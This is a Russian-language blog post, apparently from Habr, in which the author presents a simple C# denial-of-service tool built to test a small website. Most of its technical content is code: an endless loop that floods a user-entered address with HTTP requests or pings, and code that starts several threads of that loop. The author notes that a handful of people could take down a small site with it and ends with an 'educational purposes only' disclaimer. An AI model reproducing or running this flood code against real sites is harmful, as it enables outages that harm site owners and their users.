
Итак, дело было вечером, делать было нечего. Вот я и решил проверить наш с другом сайт на устойчивость. Написание программы было действительно несложным занятием и заняло около получаса. И именно с реализацией её на C# хотелось бы познакомить хабраюзера.
Introduction
Вообще, до этого меня ни разу не интересовали DDoS атаки. Ну, и, собственно, кодить я принялся тоже только из теоретических знаний. Результаты оказались довольно неожиданными:

А здесь добавлена многопоточность:

Таким образом мы можем увидеть, что программа довольно неплохо нагружала сервера. И в руках 10-20 человек могла бы свалить какой-нибудь небольшой сайтик.
Реализация
Для реализации был выбран язык C#.
Итак, небольшое описание работы: по нажатии кнопки Start DDoS создаётся несколько(количество ядер * 2) потоков с бесконечным циклом, где идут десятки тысяч запросов в секунду.
Метод с кодом основного цикла(извиняюсь за кривые комментарии):
void a1(bool IsIP)
{
IPAddress ip = null;
if (IsIP)
//Если это атака IP, то парсим строку в textBox2
ip = IPAddress.Parse(textBox2.Text);
//Основной цикл
while (true)
{
//Если это атака сайта:
if (!IsIP)
{
//Создаём запрос
var r = (HttpWebRequest)WebRequest.Create("http://" + textBox1.Text);
//Начинаем слушать ответ
r.BeginGetResponse(new AsyncCallback((IAsyncResult res) => { }), null);
}
//Если это атака IP
else
{
var ping = new Ping();
//Если IP пропарсился нормально, то пингуем
if (ip != null)
ping.Send(ip);
}
//Переменная, которая содержит общее количество запросов
i++;
//Каждые 10000 раз вызываем сборщик мусора, иначе прога будет через минуту своей работы занимать около гигабайта ОЗУ
if (i % 10000 == 0)
GC.Collect();
}
}
Как мы видим, задача довольно простая. Именно здесь находится основной код.
Также код создания самих потоков:
for (var i = 0; i < Environment.ProcessorCount * 2; i++)
{
var bw = new BackgroundWorker();
bw.DoWork += (s, a) => a1(radioButton2.Checked);
bw.RunWorkerAsync();
}
Ну, собственно, всё! Остальное не касается непосредственно DDoS, но это можно посмотреть в
прикриплённом проекте.
Данная статья была написана исключительно для ознакомительных целей! Мне просто хотелось выяснить, на сколько сложен в реализации данный тип программ и своими наблюдениями поделиться здесь. Во время проведения экспериментов ни один сайт не пострадал.